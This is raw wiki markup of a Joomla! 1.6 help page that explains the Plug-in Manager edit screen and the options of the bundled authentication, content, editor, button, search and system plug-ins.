Navigate to the [[Help16:Extensions_Plugin_Manager|Plug-in Manager]]. Click on the Plug-in&#039;s Name or click on the Plug-in&#039;s checkbox and press the Edit button in the toolbar.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
This screen allows you to edit the details and options for plug-ins. Some plug-ins have several configurable options, while others may not have any.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:Help16-plugin_manager-edit-screen.png]]&lt;br /&gt;
&lt;br /&gt;
==Details==&lt;br /&gt;
The Details section is the same for all plug-ins and has the following fields:&lt;br /&gt;
*&#039;&#039;&#039;Plug-in Name.&#039;&#039;&#039; The Name of the Plug-in.&lt;br /&gt;
*&#039;&#039;&#039;Enabled.&#039;&#039;&#039; Whether or not this Plug-in is enabled.&lt;br /&gt;
*&#039;&#039;&#039;Access.&#039;&#039;&#039; Which user &#039;access levels&#039; have access to this item. You can change an item&#039;s Access Level by clicking on its name to open it up for editing. The default user &#039;access levels&#039; which come preconfigured with Joomla! are:&lt;br /&gt;
** Public: Everyone has access including website visitors who have not logged in&lt;br /&gt;
** Registered: Only users with registered status or higher will have access&lt;br /&gt;
** Special: Only users with author status or higher have access&lt;br /&gt;
*&#039;&#039;&#039;Ordering.&#039;&#039;&#039; A drop-down list of plug-ins of the same Type. The list of plug-ins is arranged by their current order. You can change this plug-in&#039;s order in relation to the other plug-ins by selecting the plug-in in the drop-down list that you want this plug-in to be ordered below.&lt;br /&gt;
*&#039;&#039;&#039;Plug-in Type.&#039;&#039;&#039; The Type of the Plug-in. This value cannot be changed.&lt;br /&gt;
*&#039;&#039;&#039;Plug-in File.&#039;&#039;&#039; The name of the Plug-in file. Each Plug-in has two files with this name. One has the file extension &#039;.php&#039; and the other has the file extension &#039;.xml&#039;.&lt;br /&gt;
*&#039;&#039;&#039;ID.&#039;&#039;&#039; The Plug-in&#039;s ID number. This is a unique identification number for this item assigned automatically by Joomla!. It is used to identify the item internally, for example in internal links. You cannot change this number.&lt;br /&gt;
*&#039;&#039;&#039;Description.&#039;&#039;&#039; The description of what this Plug-in does. This cannot be changed. The developer of the plug-in specifies this. This may be blank if the developer did not specify a description for the plug-in.&lt;br /&gt;
&lt;br /&gt;
==Options==&lt;br /&gt;
If the plug-in has configurable options they will appear to the right of the details section. Usually you will see &#039;&#039;Basic Options&#039;&#039; which are general options which need to be configured for the basic operation of the plug-in. You may also see &#039;&#039;Advanced Options&#039;&#039; which are additional configurable options available for the plug-in which allows further customization of the plug-in. Finally you may see &#039;&#039;Language Options&#039;&#039; which are options related to the language functions of your Joomla! installation.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar: &lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-plugin_manager-edit-toolbar.png]]&lt;br /&gt;
* &#039;&#039;&#039;Save.&#039;&#039;&#039; Save it and return to editing the plug-in details.&lt;br /&gt;
* &#039;&#039;&#039;Save &amp;amp; Close.&#039;&#039;&#039; Save it and return to the previous screen. If you have been working on a screen for a long time and don&#039;t want to risk losing your work, pressing &#039;&#039;Save &amp;amp; Close&#039;&#039; saves your work and lets you continue working. If, for example, you lost your Internet connection, your work will be saved up to this point.&lt;br /&gt;
* &#039;&#039;&#039;Close.&#039;&#039;&#039; Return to the previous screen without saving your work. If you press &#039;&#039;Close&#039;&#039; while adding a new item, this new item will not be created. If you were modifying an existing item, the modifications will not be saved.&lt;br /&gt;
* &#039;&#039;&#039;Help.&#039;&#039;&#039; Opens this Help Screen.&lt;br /&gt;
&lt;br /&gt;
==Plug-in Descriptions and Options==&lt;br /&gt;
When Joomla! is installed, many plug-ins are included in the installation. These are described below, along with any options for the plug-in.&lt;br /&gt;
&lt;br /&gt;
===Authentication - Joomla===&lt;br /&gt;
This plug-in processes the default User Authentication method in Joomla!. It has no options.&lt;br /&gt;
&lt;br /&gt;
===Authentication - GMail===&lt;br /&gt;
This plug-in processes User Authentication using GMail accounts. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-gmail-options-screen.png]]&lt;br /&gt;
* &#039;&#039;&#039;Apply Username Suffix.&#039;&#039;&#039; This options allows you to automatically apply a suffix to the username a person enters when they log into your Joomla! installation. The suffix is the portion of the email address after the &#039;&#039;@&#039;&#039; symbol.&lt;br /&gt;
* &#039;&#039;&#039;Username Suffix.&#039;&#039;&#039; This is the suffix portion of the GMail email addresses which will be used to log into your site. This is the portion of the mail address after the &#039;&#039;@&#039;&#039; symbol. Usually you will set this to &#039;&#039;gmail.com&#039;&#039; for regular GMail accounts. This option is present to allow you to use other GMail accounts that don&#039;t end in the typical &#039;&#039;gmail.com&#039;&#039; suffix. This would be the case with Google Apps for Domains email accounts.&lt;br /&gt;
* &#039;&#039;&#039;Verify Peer.&#039;&#039;&#039; When your Joomla! installation attempts to verify the entered Gmail username it does so over an SSL connection. This option configures whether or not your Joomla! installation will check to ensure the CA certificate of the SSL connection is valid before proceeding with verification of the entered username/password. In some situations certificate verification fails in which case you can try setting this option to &#039;&#039;No&#039;&#039; to try to fix this.&lt;br /&gt;
* &#039;&#039;&#039;User Blacklist.&#039;&#039;&#039; A comma separated list of usernames not allowed to log into your Joomla! installation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;To use the GMail plug-in:&#039;&#039;&#039;&lt;br /&gt;
* Create a Joomla! user account with the same username as a GMail account user. For example if the GMail email address of the person you want to add is bob1234@gmail.com you would create the Joomla! user account with the username &#039;&#039;bob1234&#039;&#039;.&lt;br /&gt;
* Enable the GMail Plug-in.&lt;br /&gt;
* Logout of Joomla!.&lt;br /&gt;
* Login using the GMail username (without &amp;quot;@gmail.com&amp;quot;) and the GMail password.&lt;br /&gt;
&lt;br /&gt;
===Authentication - LDAP===&lt;br /&gt;
This plug-in processes User Authentication against an LDAP server. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-ldap-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Host.&#039;&#039;&#039; The host URL. For example, &amp;quot;openldap.mycompany.org&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;Port.&#039;&#039;&#039; The port number. The default is 389.&lt;br /&gt;
*&#039;&#039;&#039;LDAP V3.&#039;&#039;&#039; Whether or not this host uses LDAP version 3. The default is LDAP v2.&lt;br /&gt;
*&#039;&#039;&#039;Negotiate TLS.&#039;&#039;&#039; Whether or not to use TLS encryption with this host. If set to &amp;quot;Yes&amp;quot;, all traffic to and from this server must be encrypted.&lt;br /&gt;
*&#039;&#039;&#039;Follow Referrals.&#039;&#039;&#039; Whether to set the LDAP_OPT_REFERRALS flag to Yes or No. For Windows 2003 hosts this must be set to No.&lt;br /&gt;
*&#039;&#039;&#039;Authorization Method.&#039;&#039;&#039; &amp;quot;Bind Directly as User&amp;quot; or &amp;quot;Bind and Search&amp;quot;. &lt;br /&gt;
*&#039;&#039;&#039;Base DN.&#039;&#039;&#039; The Base DN of your LDAP server. &lt;br /&gt;
*&#039;&#039;&#039;Search String.&#039;&#039;&#039; A query string used to search for a given User. The [search] keyword is replaced by the login typed by the User. For example: &amp;quot;uid=[search]&amp;quot;. More than one Search String can be entered. Separate each by a semi-colon &amp;quot;;&amp;quot; character. This is only used when searching.&lt;br /&gt;
*&#039;&#039;&#039;User&#039;s DN.&#039;&#039;&#039; The [username] keyword is dynamically replaced by the username typed by the User. An example string is: &amp;quot;uid=[username], dc=[my-domain], dc=[com]&amp;quot;. More than one string can be entered. Separate each with a semi-colon &amp;quot;;&amp;quot; character. This is only used if the Authorization Method above is set to &amp;quot;Bind Directly as User&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;Connect Username and Connect Password.&#039;&#039;&#039; These define connection parameters for the DN lookup phase. For anonymous lookup, leave both of these fields blank. For an Administrative Connection, the &amp;quot;Connect Username&amp;quot; is the username of an administrative account (for example, &amp;quot;Administrator&amp;quot;). In this case, the &amp;quot;Connect password&amp;quot; is the actual password to this administrative account.&lt;br /&gt;
*&#039;&#039;&#039;Map: Full Name.&#039;&#039;&#039; The LDAP attribute that contains the User&#039;s full name.&lt;br /&gt;
*&#039;&#039;&#039;Map: E-mail.&#039;&#039;&#039; The LDAP attribute that contains the User&#039;s e-mail address.&lt;br /&gt;
*&#039;&#039;&#039;Map: User ID.&#039;&#039;&#039; The LDAP attribute that contains the User&#039;s login ID. For Active Directory, this is &amp;quot;sAMAccountName&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Authentication - OpenID===&lt;br /&gt;
This Plugin processes user authentication with an OpenID. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-openid-options-screen.png]]&lt;br /&gt;
* &#039;&#039;&#039;Convert Old Usernames.&#039;&#039;&#039; Convert old usernames to the proper OpenID format. Set this to &#039;&#039;Yes&#039;&#039; if you upgraded your Joomla! installation from one that was already using OpenID authentication.&lt;br /&gt;
* &#039;&#039;&#039;Require Policy phishing-resistant.&#039;&#039;&#039; Requires the OpenID Provider to be configured with the OpenID Provider Authentication Policy Extension &#039;&#039;Phishing-Resistant Authentication&#039;&#039; policy.&lt;br /&gt;
* &#039;&#039;&#039;Require Policy multi-factor.&#039;&#039;&#039; Requires the OpenID Provider to be configured with the OpenID Provider Authentication Policy Extension &#039;&#039;Multi-Factor Authentication&#039;&#039; policy.&lt;br /&gt;
* &#039;&#039;&#039;Require Policy multi-factor-physical.&#039;&#039;&#039; Requires the OpenID Provider to be configured with the OpenID Provider Authentication Policy Extension &#039;&#039;Physical Multi-Factor Authentication&#039;&#039; policy.&lt;br /&gt;
&lt;br /&gt;
===Content - Email Cloaking===&lt;br /&gt;
This plug-in cloaks all e-mails in content from spambots using JavaScript. This helps prevent e-mails contained in articles from being added to spam e-mail lists. You can disable Email Cloaking inside an article by inserting &amp;lt;code&amp;gt;{emailcloak=off}&amp;lt;/code&amp;gt; anywhere in the text of the article. In this case, no e-mail addresses in the article will be cloaked by this plug-in.&lt;br /&gt;
&lt;br /&gt;
Email Cloaking has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-email_cloaking-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Mode.&#039;&#039;&#039; How the e-mails will be displayed. Options are &amp;quot;As linkable mailto address&amp;quot; or as &amp;quot;Non-linkable text&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Content - Code Highlighter (GeSHi)===&lt;br /&gt;
This plug-in displays formatted code in Articles based on the GeSHi highlighting engine. It has no options.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Syntax usage :&lt;br /&gt;
&amp;amp;lt;pre xml:lang=&amp;quot;php&amp;quot;&amp;amp;gt;&lt;br /&gt;
echo $test;&lt;br /&gt;
&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Content - Load Modules===&lt;br /&gt;
This plug-in allows you to place a Module inside an Article with the syntax: {loadposition xx}, where &amp;quot;xx&amp;quot; is a user-defined position code. For example, if you create a Module with the Position value of &amp;quot;myposition1&amp;quot;, then typing the text &amp;quot;{loadposition myposition1}&amp;quot; inside an Article will cause that Module to show at that point in the Article.&lt;br /&gt;
&lt;br /&gt;
This plug-in has the following option:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-load_modules-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Style.&#039;&#039;&#039; The Style for the loaded Module.&lt;br /&gt;
&lt;br /&gt;
===Content - Pagebreak===&lt;br /&gt;
This plug-in adds table of contents functionality to a paginated Article. This is done automatically through the use of the Pagebreak button added to the lower part of the text panel in an Article. The HTML code is included here as a reference of what is available. The Pagebreak will itself display in the text window as a simple horizontal line.&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 Syntax: Usage: &amp;lt;hr class=&amp;quot;system-pagebreak&amp;quot; /&amp;gt;&lt;br /&gt;
 &amp;lt;hr class=&amp;quot;system-pagebreak&amp;quot; title=&amp;quot;The page title&amp;quot; /&amp;gt; or &lt;br /&gt;
 &amp;lt;hr class=&amp;quot;system-pagebreak&amp;quot; alt=&amp;quot;The first page&amp;quot; /&amp;gt; or &lt;br /&gt;
 &amp;lt;hr class=&amp;quot;system-pagebreak&amp;quot; title=&amp;quot;The page title&amp;quot; alt=&amp;quot;The first page&amp;quot; /&amp;gt; or &lt;br /&gt;
 &amp;lt;hr class=&amp;quot;system-pagebreak&amp;quot; alt=&amp;quot;The first page&amp;quot; title=&amp;quot;The page title&amp;quot; /&amp;gt; &lt;br /&gt;
 &amp;lt;/pre&amp;gt;&lt;br /&gt;
This plug-in has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-pagebreak-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Show Site Title.&#039;&#039;&#039; Whether or not the title and heading attributes from the plug-in will be added to the Site Title tag.&lt;br /&gt;
*&#039;&#039;&#039;Table of Contents.&#039;&#039;&#039; Whether to Hide or Show a table of contents for multi-page Articles.&lt;br /&gt;
*&#039;&#039;&#039;Show all.&#039;&#039;&#039; Whether or not to give Users the option to show all pages of an Article.&lt;br /&gt;
&lt;br /&gt;
===Content - Page Navigation===&lt;br /&gt;
This plug-in allows you to add Next &amp;amp; Previous navigation links  to Articles, for example when using a blog or list layout. This feature can be controlled with the following Joomla! parameters: &lt;br /&gt;
*&amp;quot;Show Navigation&amp;quot; in the [[Help16:Content_Article_Manager#Global_Configuration|Article Manager - Global Configuration]] screen&lt;br /&gt;
*&amp;quot;Show Navigation&amp;quot; in the Parameters - Component section of the [[Help16:Menus_Menu_Item_Manager_Edit#Parameters_-_Component_for_Articles|Menu Item Manager - New/Edit - Parameters - Component for Articles]] screen for Article layouts. &lt;br /&gt;
Note that, if the Page Navigation plug-in is disabled in this screen, no Page Navigation will show and the parameter settings above will have no effect.&lt;br /&gt;
&lt;br /&gt;
This plug-in has the following option:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-page_navigation-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Position.&#039;&#039;&#039; Position of the navigation link. Options are &amp;quot;Above&amp;quot; the Article or &amp;quot;Below&amp;quot; the Article.&lt;br /&gt;
&lt;br /&gt;
===Content - Vote===&lt;br /&gt;
This plug-in adds the Voting functionality to Articles. It has no options.&lt;br /&gt;
&lt;br /&gt;
===Editor - CodeMirror===&lt;br /&gt;
This plug-in loads the CodeMirror editor. CodeMirror is a code editor which provides an editor more suited for source code. It provides code syntax highlighting for many programming languages. It can show you mismatched tags and also helps you maintain consistent indenting of your code. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-codemirror-options-screen.png]]&lt;br /&gt;
* &#039;&#039;&#039;List numbers.&#039;&#039;&#039; Display line numbers in the editor.&lt;br /&gt;
* &#039;&#039;&#039;Tab mode.&#039;&#039;&#039; Causes tab to adjust the indentation of the selection or current line using the current parser&#039;s rules&lt;br /&gt;
&lt;br /&gt;
===Editor - None===&lt;br /&gt;
This plug-in loads a basic text editor. This option can be used when you are pasting HTML code from another source and you don&#039;t want the HTML to be altered by a WYSIWYG editor. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===Editor - TinyMCE===&lt;br /&gt;
This plug-in loads the TinyMCE editor. This is the default editor in Joomla!.&lt;br /&gt;
 &lt;br /&gt;
[[Image:Plugin.Tinymce_Output.png]]&lt;br /&gt;
&lt;br /&gt;
This plug-in has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-tinymce-basic-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Functionality.&#039;&#039;&#039; Select &amp;quot;Advanced&amp;quot; or &amp;quot;Simple&amp;quot; functionality. With &amp;quot;Simple&amp;quot; selected, the User has only 9 toolbar buttons: Bold, Italic, Underline, Strikethrough, Undo, Re-do, Clean up messy code, Bullets, and Numbering. With &amp;quot;Advanced&amp;quot; selected, the User has all of the TinyMCE toolbar buttons. &amp;quot;Advanced&amp;quot; is the default setting.&lt;br /&gt;
*&#039;&#039;&#039;Skin.&#039;&#039;&#039; Choose the skin which will be applied to the TinyMCE editor when displayed in your website.&lt;br /&gt;
*&#039;&#039;&#039;Compressed version.&#039;&#039;&#039; Whether or not to use the compressed version of TinyMCE. Note that this does not work reliably with Windows IE, so &amp;quot;Off&amp;quot; is the recommended setting and is the default.&lt;br /&gt;
*&#039;&#039;&#039;Clean code on load.&#039;&#039; Whether or not to automatically clean up the HTML code when the editor first loads. Default value is &amp;quot;Off&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;Clean code on save.&#039;&#039;&#039; Whether to run HTML code cleanup when a file is saved. Options are &amp;quot;Never&amp;quot;, &amp;quot;Front Only&amp;quot;, and &amp;quot;Always&amp;quot;. The default setting is &amp;quot;Always&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;Entity Encoding.&#039;&#039;&#039;&lt;br /&gt;
*&#039;&#039;&#039;Automatic Language Selection.&#039;&#039;&#039; Whether or not to match the selected UI language. Do not set to &amp;quot;Yes&amp;quot; unless the appropriate editor languages are installed. Default is &amp;quot;No&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;Language Code.&#039;&#039;&#039; Editor UI language code. This must be entered if Automatic Language Selection is &amp;quot;Off&amp;quot;. Default is &amp;quot;en&amp;quot; for British English.&lt;br /&gt;
*&#039;&#039;&#039;Text Direction.&#039;&#039;&#039; Whether the language reads &amp;quot;Left to Right&amp;quot; or &amp;quot;Right to Left&amp;quot; (for example, like Arabic). Default is &amp;quot;Left to Right&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;Template CSS classes.&#039;&#039;&#039; Whether or not to load the &amp;quot;editor.css&amp;quot; file. If no such file is found for the default template, the &amp;quot;editor.css&amp;quot; file from the system template is used. Default is &amp;quot;Yes&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;Custom CSS Classes.&#039;&#039;&#039; Optional full URL path to a custom CSS file. If entered, this overrides the Template CSS classes setting.&lt;br /&gt;
*&#039;&#039;&#039;URLs.&#039;&#039;&#039; Whether to use Relative or Absolute URLs for links. The default is &amp;quot;Relative&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;New Lines.&#039;&#039;&#039; Whether to interpret new lines as &amp;quot;P Elements&amp;quot; or &amp;quot;BR Elements&amp;quot;. Default is &amp;quot;P Elements&amp;quot;. &lt;br /&gt;
*&#039;&#039;&#039;Prohibited Elements.&#039;&#039;&#039; The elements that will be cleaned from the text. Default is &amp;quot;applet&amp;quot;, which will remove applet elements from the text.&lt;br /&gt;
*&#039;&#039;&#039;Extended Valid Elements.&#039;&#039;&#039; Optional list of valid HTML elements to add to the existing rule set.&lt;br /&gt;
&lt;br /&gt;
This plug-in has the following advanced options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-tinymce-advanced-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Toolbar.&#039;&#039;&#039; Whether to show the toolbar above or below the editor window.&lt;br /&gt;
*&#039;&#039;&#039;Toolbar align.&#039;&#039;&#039;&lt;br /&gt;
*&#039;&#039;&#039;HTML Height.&#039;&#039;&#039; The height, in pixels, of the HTML mode pop-up window.&lt;br /&gt;
*&#039;&#039;&#039;HTML Width.&#039;&#039;&#039; The width, in pixels, of the HTML mode pop-up window.&lt;br /&gt;
*&#039;&#039;&#039;Element Path.&#039;&#039;&#039; If set to &amp;quot;On&amp;quot;, show the &#039;Set Classes&#039; button for the marked text.&lt;br /&gt;
&lt;br /&gt;
The following options only apply if the editor is in Extended Mode.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Fonts.&#039;&#039;&#039; Hide or Show the &#039;Font&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Paste.&#039;&#039;&#039; Hide or Show the &#039;Paste&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Search-Replace.&#039;&#039;&#039; Hide or Show the &#039;Search and Replace&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Insert Date.&#039;&#039;&#039; Hide or Show the &#039;Insert Date&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Date Format.&#039;&#039;&#039; The Date format to use for Insert Date.&lt;br /&gt;
*&#039;&#039;&#039;Insert Time.&#039;&#039;&#039; Hide or Show the &#039;Insert Time&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Time Format.&#039;&#039;&#039; The Time format to use for Insert Time.&lt;br /&gt;
*&#039;&#039;&#039;Colors.&#039;&#039;&#039; Hide or Show the &#039;Colors&#039; control buttons.&lt;br /&gt;
*&#039;&#039;&#039;Table.&#039;&#039;&#039; Hide or Show the Table buttons.&lt;br /&gt;
*&#039;&#039;&#039;Smilies.&#039;&#039;&#039; Hide or Show the &#039;Smilies&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Media.&#039;&#039;&#039; Hide or Show the &#039;Media&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Horizontal Rule.&#039;&#039;&#039; Hide or Show the &#039;Horizontal Rule&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Directionality.&#039;&#039;&#039; Hide or Show the &#039;Directionality&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Fullscreen.&#039;&#039;&#039; Hide or Show the &#039;Fullscreen&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Style.&#039;&#039;&#039; Hide or Show the &#039;CSS Style&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Layer.&#039;&#039;&#039; Hide or Show the Layer buttons.&lt;br /&gt;
*&#039;&#039;&#039;XHTMLxtras.&#039;&#039;&#039; Hide or Show the additional XHTML features.&lt;br /&gt;
*&#039;&#039;&#039;Visualchars.&#039;&#039;&#039; Show invisible characters, specifically non-breaking spaces.&lt;br /&gt;
*&#039;&#039;&#039;Nonbreaking.&#039;&#039;&#039; Insert non-breaking space entities.&lt;br /&gt;
*&#039;&#039;&#039;Template.&#039;&#039;&#039; Hide or Show the &#039;Template&#039; button.&lt;br /&gt;
*&#039;&#039;&#039;Blockquote.&#039;&#039;&#039; Turn on/off block quotes.&lt;br /&gt;
*&#039;&#039;&#039;Wordcount.&#039;&#039;&#039; Turn on/off word count.&lt;br /&gt;
*&#039;&#039;&#039;Advanced image.&#039;&#039;&#039; Turn on/off a more advanced image dialog box.&lt;br /&gt;
*&#039;&#039;&#039;Advanced link.&#039;&#039;&#039; Turn on/off a more advanced link dialog box.&lt;br /&gt;
*&#039;&#039;&#039;Advanced List.&#039;&#039;&#039; Turn on/off the ability to set number formats and bullet types in ordered and unordered lists.&lt;br /&gt;
*&#039;&#039;&#039;Save Warning.&#039;&#039;&#039; Whether or not to give a warning if the User cancels without saving the file. The default value is &amp;quot;Off&amp;quot;.&lt;br /&gt;
*&#039;&#039;&#039;Context menu.&#039;&#039;&#039; Turn on/off the context menu.&lt;br /&gt;
*&#039;&#039;&#039;Inline popups.&#039;&#039;&#039; Turn on/off dialogs opening as floating DIV layers instead of popup windows. This option is useful to allow getting around popup blockers.&lt;br /&gt;
*&#039;&#039;&#039;Custom plugin.&#039;&#039;&#039; Add custom TinyMCE plug-ins to the editor by specifying them here.&lt;br /&gt;
*&#039;&#039;&#039;Custom button.&#039;&#039;&#039; Add custom TinyMCE buttons to the editor by specifying them here.&lt;br /&gt;
&lt;br /&gt;
===Button - Article===&lt;br /&gt;
This plug-in displays the Article button below the editor box when you are using a Joomla! editor (for example, when writing an Article). It allows you to insert an Article link into an Article. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===Button - Image===&lt;br /&gt;
This plug-in displays the Image button below the editor box when you are using a Joomla! editor (for example, when writing an Article). It allows you to insert an image into an Article. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===Button - Pagebreak===&lt;br /&gt;
This plug-in displays the Pagebreak button below the editor box when you are using a Joomla! editor (for example, when writing an Article). It inserts a page break in the Article. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===Button - Readmore===&lt;br /&gt;
This plug-in displays the &amp;quot;Read more...&amp;quot; button below the editor box when you are using a Joomla! editor (for example, when writing an Article). It inserts a &amp;quot;Read more...&amp;quot; break in the Article that allows you to display just the first portion of an Article on a page. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===Extension - Joomla===&lt;br /&gt;
This plug-in manages the update sites for extensions. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===Search - Categories===&lt;br /&gt;
This plug-in enables searching for Category information. It has the following options: &lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-categories-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Search Limit.&#039;&#039;&#039; The maximum number of search results to return after a search is done.&lt;br /&gt;
*&#039;&#039;&#039;Search Published.&#039;&#039;&#039; Whether or not to include published items in the search results.&lt;br /&gt;
*&#039;&#039;&#039;Search Archived.&#039;&#039;&#039; Whether or not to include archived items in the search results.&lt;br /&gt;
&lt;br /&gt;
===Search - Contacts===&lt;br /&gt;
This plug-in enables searching for Contacts. It has the following options: &lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-contacts-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Search Limit.&#039;&#039;&#039; The maximum number of search results to return after a search is done.&lt;br /&gt;
*&#039;&#039;&#039;Search Published.&#039;&#039;&#039; Whether or not to include published items in the search results.&lt;br /&gt;
*&#039;&#039;&#039;Search Archived.&#039;&#039;&#039; Whether or not to include archived items in the search results.&lt;br /&gt;
&lt;br /&gt;
===Search - Content===&lt;br /&gt;
This plug-in enables searching for Articles. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-content-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Search Limit.&#039;&#039;&#039; The maximum number of search results to return after a search is done.&lt;br /&gt;
*&#039;&#039;&#039;Articles.&#039;&#039;&#039; Whether or not to enable searching of all articles.&lt;br /&gt;
*&#039;&#039;&#039;Archived Articles.&#039;&#039;&#039; Whether or not to include archived articles in the search results.&lt;br /&gt;
&lt;br /&gt;
===Search - Newsfeeds===&lt;br /&gt;
This plug-in enables searching for News Feeds. It has the following options: &lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-newsfeeds-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Search Limit.&#039;&#039;&#039; The maximum number of search results to return after a search is done.&lt;br /&gt;
*&#039;&#039;&#039;Search Published.&#039;&#039;&#039; Whether or not to include published items in the search results.&lt;br /&gt;
*&#039;&#039;&#039;Search Archived.&#039;&#039;&#039; Whether or not to include archived items in the search results.&lt;br /&gt;
&lt;br /&gt;
===Search - Weblinks===&lt;br /&gt;
This plug-in enables searching for Web Links. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-weblinks-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Search Limit.&#039;&#039;&#039; The maximum number of search results to return after a search is done.&lt;br /&gt;
*&#039;&#039;&#039;Search Published.&#039;&#039;&#039; Whether or not to include published items in the search results.&lt;br /&gt;
*&#039;&#039;&#039;Search Archived.&#039;&#039;&#039; Whether or not to include archived items in the search results.&lt;br /&gt;
&lt;br /&gt;
===System - Language Filter===&lt;br /&gt;
This plug-in filters the displayed content depending on language. It should only be enabled when the Language Switcher module is published. This plug-in has no options.&lt;br /&gt;
&lt;br /&gt;
===System - Cache===&lt;br /&gt;
This plug-in enables page caching. Page caching allows the web server to save snapshots of pages and use them when serving web pages. This improves the performance of your web site and reduces the workload of the server. This plug-in has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-cache-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Use Browser Caching.&#039;&#039;&#039; Whether or not to use the mechanism for storing a page cache in the local browser. Default is &amp;quot;No&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
===System - Debug===&lt;br /&gt;
This plug-in provides debugging information. The report is shown below the main screen of the front and backend interfaces of your Joomla! installation. It has the following options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-debug-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Allowed Groups.&#039;&#039;&#039; User groups that will see the debug information when enabled.&lt;br /&gt;
*&#039;&#039;&#039;Show Profiling&#039;&#039;&#039; Whether or not to display the profiling waypoints information.&lt;br /&gt;
*&#039;&#039;&#039;Show Queries.&#039;&#039;&#039; Whether or not to include the SQL query log in the debug information.&lt;br /&gt;
*&#039;&#039;&#039;Show Memory Usage.&#039;&#039;&#039; Whether or not to include memory usage data in the debug information.&lt;br /&gt;
&lt;br /&gt;
Language Debug Options:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-plugin_manager-edit-debug-language-options-screen.png]]&lt;br /&gt;
*&#039;&#039;&#039;Show errors when parsing language files.&#039;&#039;&#039; Whether or not to display a list of language files with errors due to their not being in compliance with the Joomla! language file specification.&lt;br /&gt;
*&#039;&#039;&#039;Show Language Files.&#039;&#039;&#039; Whether or not to display the language files that have been loaded to generate the page.&lt;br /&gt;
*&#039;&#039;&#039;Show Language String.&#039;&#039;&#039; Whether or not to include undefined language strings in the debug information.&lt;br /&gt;
*&#039;&#039;&#039;Strip First Word.&#039;&#039;&#039; Whether or not to always strip the first word in multi-word strings.&lt;br /&gt;
*&#039;&#039;&#039;Strip From Start.&#039;&#039;&#039; Strips the specified words from the beginning of the language string. For multiple words separate each word with the pipe ( &#039;&#039;|&#039;&#039; ) character like so: word1|word2&lt;br /&gt;
